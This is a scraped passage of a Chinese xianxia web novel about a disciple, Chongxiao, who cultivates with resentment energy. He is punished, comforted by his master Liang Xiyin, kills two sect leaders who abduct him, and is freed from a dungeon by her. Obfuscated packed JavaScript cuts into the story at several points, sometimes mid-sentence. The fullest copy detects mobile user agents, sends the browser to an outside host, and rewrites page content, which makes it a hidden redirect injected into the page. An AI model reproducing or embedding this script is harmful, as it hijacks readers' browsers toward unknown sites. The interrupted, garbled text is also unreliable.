梁惜时失笑:“这时候就念起哥哥的好来了?” “...怎会,一直都念着的。”梁惜因反驳道。 不知过了有多久,梁惜因抬起头,缓缓从他的怀抱中退出来,神情重又恢复了做峰主时的淡然坚毅,她道:“我要先去趟合虚山。” 梁惜时站在原处,说:“好,去吧,哥哥看着你走。” - 天枢峰,戒律堂。 重霄跪在堂前,背后的伤口渐渐已流不出血来,凝为一道道可怖的疤痕。鞭子打下来的那一刻并不是最难忍的,毕竟这种疼痛他以前也没少受。但打完后那细细密密不间断的痛楚却是足以把人逼疯,稍微动一下身子,那本就时涨时落的痛一下便都如潮水般涌来,锥心刺骨。 但只要还能留在玄晖宗,再深的痛楚他也乐于忍受。神智时而清醒时而模糊,怨气的声音再度在他脑海中响起。 “关度本就该死,不过是杀了这么一个杂碎,凭什么要你受这么重的罚?” “她根本就不在乎你,甚至都懒得看你一眼。你伤了她另一个徒弟,还让她颜面尽失,她恨你都算轻的。” “你明明已经这么强了,为何要受这宗规约束?把我们放出来,那些鄙夷你的长老和弟子,一个都逃不掉。” “把他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦,是你说不要的啊。”段凌轩讪讪地将避雨符收起,一步一扭头地走向戒律堂的大门:“那...我走了,你撑住啊。” 被罚抄的另一人将头从抄书室中探出:“喂,你去哪!才写了三行你就不写了?!” 段凌轩摆了摆手,看都没看他一眼:“小爷今个不高兴抄。” 那人看了看马上就要走出去的段凌轩,又看了看院中血人一样端跪着的重霄,果断选择追了出去:“那我也不抄了!” “学人精。” “说谁呢你!就不能是我今天也不高兴抄吗!” 两人差点又打起来,想到还没抄完的宗规,终是作罢,愤愤地瞪了彼此一眼。段凌轩正要往开阳峰的方向走去,一转身却险些撞上一个人。 他定睛一看,立马拱手行礼道:“弟子段凌轩,见过梁峰主。” “不必多礼。”梁惜因将人扶起,“你所做的事我已听阿谧说过了,多谢。” “弟子不过是呛了他们几句,哪担得起梁峰主这么一句谢。”段凌轩难为情地挠了挠头。 梁惜因淡笑道:“你既是愿意在那时出言,自然担得起我这一声谢。”随波逐流自是再容易不过,难的是在众口铄金下仍能发出自己的声音。 她开了一道阵门,将人送回了开阳峰。段凌轩的身影在阵中淡去,梁惜因侧目望向戒律堂,深吸一口气,缓缓向里走去。守在门前的小童只负责拦弟子,见梁惜因来了,只恭恭敬敬地行了个礼,并未多说什么。 雨势不绝,雨丝连接成幕,哗啦啦地倾泻于人间。重霄浑身都湿透了,痛得几要失去知觉,墨色的发丝紧紧贴在背后。好冷,他连双唇都失去了最后一丝血色,真的好冷... 忽然,雨停了。不,不是雨停了,而是他头顶的这片雨被遮住了。耳畔雨声不歇,又似乎离他很远很远。 重霄没有感受到任何灵力波动,只觉一抹阴影自上方投来。一片沾染了血水,但依旧难掩洁白的衣摆同时出现在了他眼前。 他知道,这偌大的玄晖宗内,唯有一人会在雨中撑伞。 也正是因为知道,他才不敢抬头。 74. 怨气 “阿霄。” 是阿霄,不是重霄,也不是逆徒。 重霄嘴唇颤了颤:“师尊。”他的嗓音比方才更为沙哑,好似下一秒就要咳出血来。 梁惜因蹲下身子,往他口中塞了一枚丹药。油纸伞受法术维系,依然悬在半空。 药入口的瞬间,周身寒意顿时被驱散,背上的鞭伤似乎也没那么疼了。可他面色却更苍白了,不是出于疼痛或虚弱,而是因为梁惜因轻轻将一指置于他眉间。 他知梁惜因是在察看他的伤势与体内怨气的状况,而这一察看,有些事就注定瞒不住了。 重霄仍旧垂着眸,他看见梁惜因的衣摆堆叠在地面上,血水顺着那抹洁白往上攀爬,碍眼极了。他动了动唇,终是没有说出什么来。 属于梁惜因的灵力在重霄的四肢百骸间游走着,还是像以前那般温暖。半晌,梁惜因将手指移开,她像是早就预料到了,语气里并无过多惊讶,平静地问道:“多久了?” “...已近五年。”重霄默了默,如实答道。 梁惜因面色淡然,缓缓道:“五年,也就是在我刚把你带回来不久,你便已开始用怨气修炼了。这些怨气与你共存,你若是专修灵力,虽也不是万全之策,但到底能将其压制得久一些。而你一旦用怨气修炼,修为是一日千里了没错,但它们的力量也会增强。” “我之前便奇这怨气虽于修仙之人有碍,但万万没有杀人的能力,原是如此。怨气的实力增强了,便会去与你争夺这具身体的主导权。但凡你心神稍有不稳,就会被其趁虚而入,届时后果将不堪设想。这些你难道都没有考虑过吗?”她质问道,语速越来越快。 重霄心下慌乱:“弟子...” “很疼吧?”梁惜因话音骤然一转,毫无征兆地问了这么一句。 重霄有一瞬的愣神,像是没明白这短短的三个字是何意。 “用怨气修炼,一定很疼吧?”梁惜因重复道。 重霄怔住了,在受戒鞭时挺得笔直的身体此刻竟是微微发起颤来。疼啊,怎会不疼呢。怨气自是不会心甘情愿地听从于他,它们在他的经脉间肆意冲撞着,所带来的疼痛并不比溢出时要少。 数不清有多少个日夜,他都是在这样的痛楚中度过的。彼时他脑海中浮现的尽是梁惜因的笑颜,他回忆着她手上的温度、她靠近他时的感觉,并渴求着更多。 他曾在内心发誓,只会瞒她这一件事,但他食言了。那日复一日的思念与爱慕,他只能深深埋于心底,不敢透露分毫。如今此事已然暴露,她却依然愿意唤他一句阿霄,可若是他的那些心思...重霄不敢再想下去了。 能留在天璇峰已是意外之喜了,他不该、也不配奢求太多。 梁惜因轻叹一声,将人抱进怀中。她将手放在重霄的双肩上,小心翼翼地不去触碰那些伤处,像在重霄刚入宗门时那般轻声哄道:“好了,师尊在这呢,别怕。” 她太温柔了,温柔到重霄眼中的泪不知不觉便落了下来。 “我杀人了,师尊,可是他说师尊...”从他用怨气修炼的那一刻起,失控便是早晚之事,死的不是关度也会是别人。他本以为自己能控制得住,可怨气愈发猖獗,世间又何来那么多的“我以为”? 梁惜因宽慰道:“我知道,没事了,都过去了,不要再去想了。” “师兄他...” “长天他已无碍了,正在合虚山中休养,伤养好了便会回来。”但事实是就连梁惜因也不知合虚山还会不会放人了。 纪长天伤得极重,怨气贯穿之处距他的心口要害仅是毫厘之差,命虽是保住了,人却还在昏迷着,少说也要个一年半载才能彻底养好伤。在她去的时候,整个玄鹤一族看向她的眼神都带着戒备与不满,想来若不是因为她是纪长天的师尊,估计都不会让她这个外族踏入山中半步。至于纪长天还能否回来,还要看他醒来后自己的意愿。 “师兄会怪我吗?”才问出口,重霄就想将这话给收回去。怎么可能不怪呢?被自己信任的师弟重伤至此,饶是纪长天那般好性子的人,定也会心存怨怼。 然而梁惜因只是说道:“师尊也不知。等长天回来了,我陪阿霄一同去道歉,如何?” 心头翻腾的悔恨与不安渐渐被抚平,他应道:“好。” 重霄慢慢抬起头,自出了秘境后第一次看向他的师尊,他的心上人。最先映入眼帘的是她佩着的白玉耳坠,随着她的动作轻轻晃动着,让他的心也跟着摇曳起来。面上泪痕尚未干透,他的唇角却实实在在地扬起了些微弧度。 “师尊。” “嗯?” “师尊。” “怎么?” “师尊。” “我在。” 他一声声地唤着,梁惜因也不厌其烦地一遍遍回应着。重霄试探着将手放在梁惜因的背上,将人往怀里按了按:“师尊,对不起,弟子只是...太想变强了。能不能,不要赶弟子走?” 梁惜因的眼眶渐渐湿润起来,她又想落泪了,但是她不能,至少不能在重霄的面前哭。她是师尊,是峰主,是最不能退缩和软弱的。她不动声色地微微仰起头,让泪水在眼眶之中消散。 “不会的,不会有那么一天的。”她说着,又稍稍拉开了些距离,直视着重霄的双眼,肃了神色道:“不过你也要答应为师,往后不可再用怨气修炼了,今日之事绝不能再有下次。” 她又觉自己太过严肃,又放缓了语气说:“何必那么急于修炼?只要为师还在一日,便会护你一日。至于你体内的怨气,为师也会找到办法的。”发生过的事已无法改变,好在还有补救的机会。 “会有办法?”重霄反问道,不是在质疑梁惜因,而是实在难以相信。他比任何人都要清楚这怨气是多么棘手,若是真有办法,他又何苦忍耐这些年。他给梁惜因添的麻烦已是够多了,他不想她再为这虚无缥缈之事耗费精力。 “会的,为师何时骗过你?”她哥说得对,那么多书册与典籍,总能有所发现的。 重霄一共跪了七日,梁惜因便也陪了他七日。其余的峰主和长老不是不知,但知道了又能如何,把人赶回去不成?反正罪魁祸首重霄这辈子也只能待在天璇峰了,是以他们最多也就是在茶余饭后之时感慨几句师徒情深。 重霄的双膝早已麻木的失了知觉,但看向身侧的梁惜因,他却荒谬地想着——若是时间能永远停在这一刻,似乎也不错。 可光阴到底不会依他的心意放慢脚步,七日之期一到,梁惜因便将人带回了天璇峰。重霄所居的小院依旧那般整洁,与从前别无二致,却又好像什么都不一样了。 梁惜因坐在床边,给他背后的伤口抹着药,那一道道鞭痕,光是看着就触目惊心。她将手下的动作放得轻了又轻,还不忘安慰自家的小徒弟道:“这伤虽重,但好好将养着,日子一长也是能消下去的。” “若是消不下去,师尊便不喜欢弟子了吗?”重霄突然问道。 梁惜因:“?” “这都哪跟哪啊?”她失笑,“你好好养伤,莫要想太多,为师会一直喜欢我们阿霄的。” “...好。”梁惜因口中的喜欢与他心底的喜欢自是不同的,但也足够了。他已是别无所求。 抹完药后,梁惜因起身道:“为师还有事要忙,你好生休息着,不许偷偷修炼。我晚上会来检查的。” 重霄轻笑:“弟子谨记,师尊且去吧。”他依依不舍地注视着梁惜因出了门。不知是不是他的错觉,自秘境一事过后,梁惜因似乎变得愈发忙碌了。 才走出去没几步,梁惜因就遇上了迎面走来的常谧。常谧见了她行礼道:“师尊,落雪轩有客来访。” “好,我知道了。”梁惜因点头道。 “是,弟子告退。” “且慢。”梁惜因看着依言止步的常谧,如今重霄养伤,纪长天未归,一向最让自己省心的大徒弟也愈发寡言,她已是很久没有见阿谧笑过了。 梁惜因从乾坤袋中取出一包点心来:“山楂酥,你爱吃的。本是打算过会送去你院中的,正巧现在遇上了。” 这也不是梁惜因第一次给她带点心了,常谧双手接过,恭敬道:“让师尊费心了。” “我交与你的任务你可有完成?”梁惜因又问。 常谧一怔,显然是不知自己何时多了项任务出来。 梁惜因笑了,那笑意和煦,胜似天边朝阳:“你忘了?我说山下的栀子花开得正盛,让你采一束回来,放在自己窗前。” 常谧双眼瞪大,片刻后也弯起唇角道:“是弟子疏忽了,弟子这便去办。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846351|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好,去吧,晚些时候我来检查。” 常谧走后,梁惜因直接开了道阵门前往落雪轩。甫一推开木门,她就见一小孩坐在龟甲上,正拿着桌上的点心往嘴里塞。梁惜因粗略数了下桌上本用于包点心的油纸,好家伙,她要是再来晚些,怕是刚买的点心都要被吃完了。 “玄仪子前辈,稀客啊。”她抬脚往里走去。 “噗——咳咳咳...”玄仪子塞得正投入,完全没注意有人来了,一个不留神就被点心给噎到了。 “诶,慢些。”梁惜因连忙倒了一杯茶递过去,玄仪子接过茶盏喝下,缓了好一会才缓过劲来。他幽怨地看了眼梁惜因,余光瞥见空空如也的油纸,又感到有些心虚。他清了清嗓子,抢在梁惜因之前启唇说:“我今日来找你是有正事。” 梁惜因遂也收回笑意,正色问道:“何事?” “关于你那个小徒弟。”玄仪子道。自那日在皇城遇见两人后,他便回阁开始卜算,龟壳、蓍草、铜钱...他无不试过。虽说天道无常,卦永难算尽,但也窥得了一些天机。 “你难道就不好奇,你那小徒弟究竟是何身份?” 梁惜因放在身侧的手无意识地攥紧了,她唇舌隐隐有些干燥:“还望前辈告知。” 玄仪子乘着龟甲,悠悠地飘到了窗边,窗外是绿树成荫,万物盎然。“天生万物,怨气也不例外。它由这世间无数的苦难与憾恨化成,无所归依,在天地之间游荡,所过之处,生灵哀怨。这般日复一日年复一年,人世间的苦难不断增多,无从消散的怨气也越来越多,它们积聚在一起,化作一个拥有自己意识的新生命,或者说,是有自主意识的容器。也就是你的小徒弟。” 梁惜因浑身僵直,嘴唇嗫嚅了半天才发出声音来:“前辈的意思是...?” 玄仪子平静地叙述着,语调无波无澜:“他由这世间怨气所化,生来苦楚,也注定要为它们所控,沦为杀戮的工具。随着他年岁渐长,不断会有新生的怨气被他所释放的怨气吸收,再一同回到他体内。在他修为提高的同时,在他体内养精蓄锐的怨气也会变得更强,并将终有一日吞噬他,借他之手祸乱世间。按理说他早该失去意识了,能与怨气相抗这么多年,已是非常不易了。” “怎么可能呢,”梁惜因理解着这些词句的意思,喃喃道,“我不相信...” 玄仪子似是叹息了一声:“含盈,你可有仔细观察过他眉间的纹样?那是‘怨’字的古体。有些事注定无解,不是你我能改变得了的。” “可是...”为什么是他?凭什么是他?她的小徒弟、她的阿霄懵懵懂懂地来到这世间,面对的只有数不清的恶意和注定丧失自我,沦为屠戮工具的命运。玄仪子的话在她脑中不断重复着。她第一次想问,这天道,为何如此不公?要一个孩子去承受这一切。 他明明也有自己的喜怒哀乐,会跟在她身后一声声地唤“师尊”,会一日又一日不厌其烦地为她雕刻那小小的白玉耳坠,也会因伤了自己的师兄而愧疚自责...... 而现在她却被告知,她一手带大的小徒弟重霄,生来便是不得善终的。 她注视着眼前的玄仪子,像是抓住最后的希望般问道:“前辈,你既能推算出这些,那是否也知道...” “含盈,玄修无论修炼到何种境界,都只能看到,而无法插手。天道如此,你我不过是这芸芸众生中的一员,能做的只有接受。”玄仪子说到后面已是有几分不忍了。他不知在这世间度过了多少岁月,所见的悲欢离合数不胜数,却仍不免为之动容。 “...我知道了。”梁惜因深吸一口气,像是已然平复了下来,淡笑道:“多谢前辈特来相告,还望前辈暂且莫要将此事告知他人。” “自然。”他驭着龟壳晃悠到门口,临走前,又回眸望向梁惜因,不无担忧地说:“勿要忧思太甚,天道最重因果循环,今生的不幸,或是来生的大幸。” “含盈明白,多谢前辈了。” 待玄仪子离开后,梁惜因终是再也站立不住,顺着墙壁滑坐下来。她方才强撑出的笑容还未完全落下,此刻又显露出几丝冷意来。什么天道,什么来生,她不愿去相信这些虚无缥缈的东西,也不会就这么认输。 既是没有办法,那她便自己创出一个办法来。 75. 阴谋 谢既微虽下令宗内任何人不得将秘境一事透露出去,但纸终究包不住火,不知是谁最先泄露了风声,这件事很快就悄无声息的在整个修仙界中蔓延开来。 皇城,苍梧宗。 向来宁静出尘的宗门内难得如此热闹,山道内行走的俱是身着不同宗服的修士,面含笑意,步履从容,点缀着这青山碧水。 今日是苍梧宗掌门郭明远的四百岁寿辰。按理而言,只要入了修仙一途,那寿命自是凡人的百倍千倍,生辰什么的就显得没那般重要了,但每逢百年还是值得庆祝一番的。这庆祝多也只是将同族之人请来一聚,像苍梧宗这般大宴修仙界诸门派的倒是罕见,只能说一句不愧是苍梧宗,到底财大气粗。 玄晖宗与苍梧宗同为修仙大宗,又一向交好,逢此喜事,众峰主与长老自然是要出席的。 梁惜因也在其间,她心不在焉地坐在主殿内的一个角落,只想着快些回去,顺便给重霄带些皇城的点心。 她神色难掩困倦。自那日玄仪子来过后,她已是一连数日没有休息好了,一天到晚泡在藏书室中,包括自家宗门和其余诸宗的。很多书她在刚把重霄带回宗之时就已看过了,但还是一遍又一遍地翻着,试图从中找出以往被她忽视之处。 她一手抵住额角,不去理会殿内的喧哗笑语,闭目思索着所看的书中内容。她不主动去与旁人交谈,却总有人有意无意地将视线投到她身上,如影随形。 “诶,你们听说没,含盈仙子的小徒弟在试炼中杀了同门!” “略有耳闻,这些日子传得风风雨雨的,究竟是怎么一回事?” “她那弟子不是个魔族吗,就因在试炼中有名符修对他说了几句不好听的,他一怒之下就将那人杀了!还把前来劝阻的同门师兄也给伤了,据说到现在伤还没养好呢!” “我怎么听说他不是魔族?他伤人用的是怨气,而非魔息。” “怨气?!这世间竟还有人能操纵怨气?嘶,万一他要是有一日不服管教,那杀起同宗修士来岂非易如反掌?” “是啊,也不知谢掌门和梁含盈是怎么想的,竟还将这种人留在宗内,莫不是真指望着他发起疯来能顾念着那点师徒情谊?” 不远处,一相貌端正,身材中等的男修将几人的闲言碎语尽收耳内。他勾起嘴角,缓步走向梁惜因:“梁峰主。” 梁惜因有些疲惫,她特意选了这处角落待着就是不想被人打扰。这份疲惫在她睁眼之时被很好地隐藏住了,她露出一个笑容,说着客套话:“是郭公子啊,今日办的是令尊的喜事,还望郭公子代我向令尊道一声贺。” 来人正是郭掌门之子郭循,他继续笑着说:“梁峰主的心意,郭某自会带到。只是今日怎生不见梁峰主最喜爱的那个小徒儿?郭某听闻梁峰主此前可是一直把他带在身边的啊。” 梁惜因的面色微不可察的沉了沉,她双眸微微眯起,打量着眼前之人,想要分辨出他究竟是当真不曾听闻秘境一事,还是故意提起重霄来试探奚落于她。 “他近来身体不适,正在峰内休养。”她淡声回道,“也无什么‘最喜爱’这一说,每个弟子在我心中都是一样的。” “这样啊,郭某还想着要同他结识一番来着,他现在可是出名的很啊。”郭循就如没听到后一句般,自顾自说道。 梁惜因已是有些恼了,她站起身:“郭公子既是无事,还请恕我失陪。” “诶,梁峰主且慢,你会留到今日的晚宴吧?”郭循喊住她。 梁惜因微微侧首:“自然。” 她一走,郭循就迫不及待地转身像某处走去,因步子太急,还险些撞上一个人。 “谁啊?!”他不耐烦地止住脚步,在看清是谁后又立马恭敬行礼道:“玄仪子前辈。” 玄仪子低着头,惋惜地看着从手中的盘子滑落在地的点心。郭循见了,忙道:“我这便去吩咐人再给前辈送一份点心来。” “不必。”玄仪子不舍地收回目光,似笑非笑地盯着郭循看了会,“郭公子,今日大凶啊。” “什么?”玄仪子嗓音不高,郭循没有听清。他还待细问,玄仪子却早已飘远了。他皱了皱眉,也没多在意,径直向殿外走去,熟门熟路地进了一间颇为雅致的院落。 “父亲!”他推开房门,高呼道。 “打听得如何?”坐在桌前的男子问道。他瞧着和郭循差不多年纪,比起父子,更像是一对兄弟。 郭循兴奋地说:“梁含盈今日会留在苍梧宗,她那小徒弟眼下正独自待在天璇峰上!” “好。”郭明远停下手中的事务,说:“事不宜迟,你我现在就走。” “是。”郭循应道。 今日这件事,他们早已筹谋多时。重霄身怀怨气一事传到郭明远耳中后,他几乎是立刻就回忆起了曾在古书上见过的记载—— 怨者,天地所生,万物所厌。引以入体、辅以修行,则可蚕吞其力,万众莫能及也。 郭明远的修为卡在如今的境界已有几十年了,走正道不成,他自然而然地就动起了歪心思。 只是邪术到底是邪术,他不是怕付出的代价太沉重,就是担心过于明显会被人发现,那他身为一宗掌门的清誉可就算是毁了。引怨气入体的方法他也不是没试过,当然,不是他亲自以身来试,而是在宗内随便挑几个籍籍无名的弟子。无一例外的,这几名弟子全都因难以承受剧痛而亡。 宗内很快就有弟子失踪一事被报到他这来,他当即下令彻查。彻查的结果?自是不了了之。 可眼下老天竟是将机会送到他眼前来了。他不知那魔族小子是如何成功引怨气入体的,但怨气既是存于他体内,就必然是被驯化过的。届时他只需将人杀了,再按书中的法子将怨气引入,那股力量就能成为他的了。 二人走出院门,正要御剑前往玄晖宗,郭明远却突然止住了动作。 “父亲还有何顾虑?”郭循问道。 郭明远一手摩挲着下颌:“循儿,你说我们要如何知晓他体内怨气被驯化到了何种程度?” 郭循立马会意:“儿子明白。”他快步走向山道,随手拦住一个身穿苍梧宗宗服的弟子:“你叫什么名字?” 那弟子一惊,在看清来人后,当即行了个礼,答道:“师弟白元绪,见过郭师兄。” “入宗多久了?” “回师兄,不满一年。” 面前之人眼角下垂,长着一张圆脸,瞧着就是个好拿捏的性子。郭循满意点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此阵乃防护阵的一种,与布阵者的灵脉相连,一旦阵被毁,布阵者也将受到重创。 梁惜因点头以示回应,她没再多说什么,抬脚踏进了刚布下的缩地阵中,梁惜时与谢既微几人紧随其后。殿内诸人面面相觑,一部分跟着入了阵,一部分则留在原处。 玄仪子嘴角沾着点心碎屑,不似旁人的焦急不知所措,他淡定地问一名刚从殿外赶来的苍梧宗弟子道:“你们掌门在何处?还有郭循呢?” 一石激起千层浪,余下众人骤然回过神来,纷纷出言道:“是啊,郭掌门呢,今日不是他的生辰宴吗?” “出了这么大的事,怎么也不见他露面?” “还有郭公子,我方才还见着他呢,眼下也不知去了何处。” 那弟子顿时成了殿中的目光焦点,紧张得连连摆手:“晚辈当真不知。” “我方才见掌门和郭师兄御剑离宗了,”另一名弟子答道,“还有一个外宗弟子,不知道要去何处。” 玄仪子掐指算了算,眼睑半阖,声音轻渺渺的:“只怕是,回不来了。” 这所谓的生辰宴,根本就是一场彻头彻尾的阴谋。 76. 夜逃 天璇峰。 重霄的伤已好得差不多了,背上那些狰狞的鞭痕如今只余浅浅的粉色,想来要不了多久就能完全消去了。梁惜因仍旧不许他修炼,他也乖乖照做。 自秘境一事过后,他体内的怨气就如尝到甜头般,越发蠢蠢欲动。他目前尚不敢随意动用体内的灵力和怨气,否则极有可能会再度失控,只得先稳一段时日,把怨气暂且压制住再说。 他披着件外袍,手持木块与刻刀,坐在窗前一刀一刀地刻着。木块上的纹样已隐隐显出雏形,是梨花纹。等刻得再像一些,他便再亲自为梁惜因添上一件首饰。 至于是手镯、发簪还是玉佩,他尚未想好。全都做一样也未尝不可,反正来日方长。 他手上刻的是梨花,脑中却尽是梁惜因的身影。苍梧宗掌门的生辰宴,定是要比他这方小院热闹得多,也不知她今日何时才能回来... “咻——”一道剑影从窗外射进,重霄反应极快,眉目一凛,当即侧身闪躲,脸侧的几缕发丝被削断,飘落在了地面。 他手中的木块不慎落地,断成了两截,再也看不出上面刻的是何纹样。他正欲布阵,但那些剑影比他动作更快,顷刻间就将他围在了中间。 灵脉处传来滞涩感,重霄试着运转了□□内灵力。果然,被封住了。 门口走进来三人,其中两人神色仓皇极似做贼,另一人面色苍白有如遭丧。重霄认识这前面两人,他冷声道:“郭掌门,郭公子。” 郭明远一句话也没说,一把将人拉上了剑,再御剑而出。而重霄但凡有什么反抗的动作,周身的剑影便会将他牢牢禁锢住,使他不得动弹分毫。 无论是所修的种类,还是灵力修为的境界,此刻他无疑都不是郭明远的对手,更不用提他们一看便早有预谋。 除非...用怨气。 这个念头刚一出现,就立马被他否定了。用怨气固然能逃脱不错,但稍有差池,不仅这三人必死无疑,还极易伤及无辜。 重霄很快镇静下来,问他们道:“我师尊呢?”生辰宴的主角都跑到这来绑他了,也不知苍梧宗内现在情况如何。 “都这时候了,还在记挂着你那师尊?可惜,你只能指望下辈子再见着她了。”郭循勾起一侧嘴角。 重霄的心沉了沉,情况远比他想的要棘手。这几人,是当真想要他的命。 是了,人活在这世上,大多时候不是你去招惹麻烦,而是麻烦主动缠上了你。 - 梁惜因从阵中出来,匆忙跑向重霄的小院,却被缭绕的剑影挡住了脚步。 紧随而来的谢既微挑眉道:“在我面前使剑。”他拔出腰间配着的长昀剑,不过随意一挥,那些剑影就尽数散作了虚光,于空气之中遁形。 谢既微收回剑,眉头微皱。这剑气,他总觉有几分熟悉。 梁惜因顾不得其他了,提起衣摆就向里跑去,“阿霄!”没有,处处都没有他的身影,只有窗棂上残存着几道剑气。她抿唇拾起掉落在地的半截木块,终究还是...来迟了一步吗? 梁惜时捏着一张符纸进来:“还没走远,能追上!” 谢既微当即御剑升空:“走!” 其余人或踏符或御剑,紧随在梁惜时身后。梁惜时顺着追踪符的指引一路向北而去,在驶到一处密林上方时,他停了下来。不用他明言,看着前方遮天的怨气,众人便知找到了。 但似乎,已经来晚了。 梁惜因的大脑空白了一瞬,甚至感到有些无法呼吸,但她的身体已下意识做出了反应。她抬起手,几枚阵石浮在她的手掌之上。下一瞬,阵石裹挟着纯净的灵力砸向地面。 几枚阵石全都落地的瞬间,金芒大盛。方才还嚣张无比的怨气在阵内痛苦地翻滚着,不过片刻功夫,就全都不甘地缩了回去。 金光与黑雾慢慢淡去,只见密林中极为突兀地空出了一块地方,周遭的大树全都倒在了地上,正中的景象无比清楚地展现在众人眼前。重霄站立着,眸中布满血丝,身前是两具面目全非的尸体和一柄长剑。鲜血汇成溪流,那两具尸体死状奇惨,比起关度来是有过之而无不及。 众修士落在重霄不远处,这般近看之后俱是惊叫连连:“杀人了...杀人了!” “这衣服...不是郭掌门和郭公子吗?” “杀害一宗掌门,他怎么敢的,又是怎么做到的?!” 一时无人敢上前来,只有梁惜因不顾梁惜时的劝阻,脚步坚定地去往了他身边,“阿霄,他们对你...”她伸手想拉他,却被重霄避开了,她怔了怔,喃喃着补完了后半句话,“...做什么了?” 重霄没有看她,低声道:“抱歉,师尊。” 梁惜因不知她是怎么回苍梧宗的。她浑浑噩噩地想着,若是自己来得再早一些或迟一些,结果是否会不一样? 不会。如果她去早了,那两人阴谋不得逞,定会再找机会下手,她防得了一时也防不了一世。若是她去得再迟些,重霄或许已经逃了,可他又能逃到哪呢?两人伤口上的怨气已赫然昭示了凶手是谁。 主殿内装饰依旧,喜气洋洋,各色的糕点摆了满桌,各宗送来的生辰礼堆在墙角,还未来得及全部收进库房中。 重霄接受着众人的审视,一切就有如秘境之事的重演。区别在于,上次在玄晖宗殿内他是站着的,而这次,是跪着。 梁惜因知此事绝不像表面看上去那般简单,但那又如何?她拿不出证据,也说服不了众人,她甚至都不知郭氏父子二人为何要对重霄下手。她想要辩驳,却被淹没在了那一声声的“杀人偿命”中,几欲窒息。梁惜时、谢既微几人相继提出了疑点,比如那外门弟子和郭明远佩剑的踪迹,但被愤怒与恐惧操控的人群已什么都听不见了。 殿内一片沸腾,哭声、骂声、诅咒声、嘶吼声...直要将人的耳膜刺破。 他们只知自己亲眼看到了郭明远和郭循被怨气沾染的尸体,亲耳听到了重霄承认是他杀的人。那就够了。他们是正道,最讲究公平正义,岂能再容这满身罪恶之人存在于世? 谢既微站在前方,苍梧宗诸人已然失去了理智,哭喊着要他给个说法。他按了按眉心,扫视了一圈众人,知道今日他是非得给出个说法不可了。 耳边嘈杂声不绝,他凝神细思须臾,沉声说:“玄晖宗弟子重霄,杀害苍梧宗掌门郭明远及其子郭循,着按宗门法度惩处后逐出玄晖宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哥...”梁惜因又唤了他一声,带着几分哽咽。她双手接过符纸,深深地看了他一眼,不再多言,转身走了出去。 一声若有似无的叹息,自身后传来。 天枢峰,地牢。 每个宗门都有这么一间地牢,用来关押入魔的修士及魔兽妖兽,但关押宗内弟子倒是头一回。梁惜因披着斗篷,借着夜色隐匿身形,悄无声息地来到了地牢门口。 梁惜时给的符,那威力自是不用多说,在飞到守在门口的两名修士身上的一瞬间,这两人就无声无息地倒了下去。梁惜因不多做耽搁,闪身进了地牢,还不忘将符纸给收回来。 牢中关押的多是兽类,见了她纷纷发出低吼声,或是威胁,或是兴奋。梁惜因一路往里走去,才终在尽头的一间牢房中找到了重霄。 他盘腿坐在中间,阖着双眸似在调息。如水的月光包裹着他,将他的面容映照得温柔极了,任谁也不会想到这样俊秀的少年刚刚沾了两条人命。 “阿霄。”梁惜因道。 重霄的眼睫颤了颤,他从方才的脚步声就知来人是谁了。他缓缓睁开眼,哑声道:“师尊...” 牢房中的重重禁锢困不住他,他之所以没有逃出去,就是想看梁惜因是否会来。若是她不来,他甘愿受罚。可若是她来了,若是她真的来了...... 好在,他等到了。 77. 离宗 梁惜因蹲下身子,隔着铁栏与他对望,神色严肃:“阿霄,今日到底是怎么一回事,你可有被他们伤到?” 若那二人当真是无辜惨死,她半分都不会拦着那些人惩处重霄;可若此事另有隐情,她说什么也要护他周全。 重霄低垂着眸:“他们自己找死...”他的神情十分淡然,透露着几分厌烦与憎恶。 为什么?他明明已被禁锢在天璇峰内了,平生所愿不过是与她相伴,为何还要找上门来将他赶尽杀绝?就因为他与他们不同吗?就因为...他这个说不清道不明的身份吗? “什么?”梁惜因没听清。 “师尊,弟子无碍。可他们若是不死,死的,便是弟子了。”他平静回道。 梁惜因又问了些细节,只是彼时重霄神智不清,具体情形根本回忆不出来。 疑点太多了,“你可知他们为何要杀你?”梁惜因又问。 “为了我这身怨气。”重霄不无讥讽地道。 “...我明白了。”梁惜因了然。与怨气挂钩的只能是邪法,只是没想到郭掌门那样的人竟会...没时间给她震惊和深思了,她以手结印,将灵力注入到牢房的地面中,“我带你出去。” 灰色的砖石地面上显出繁复的阵纹,又在下一瞬黯淡了下去。地牢中之所以没有修士巡逻,就是因为每间牢房内都设了阵。一旦里头的人想越狱,或是外头有人来劫狱,便会触动阵法,不仅会深陷摧人心智的幻象,还会引来守在门口的修士。 每当天璇峰有新峰主上任,第一件事便是接手维系这些阵法,是以这些阵法也只有历任峰主才能解。梁惜因初来地牢加固阵法之时,万万想不到自己有朝一日竟会“监守自盗”,助自己的小徒弟越狱。 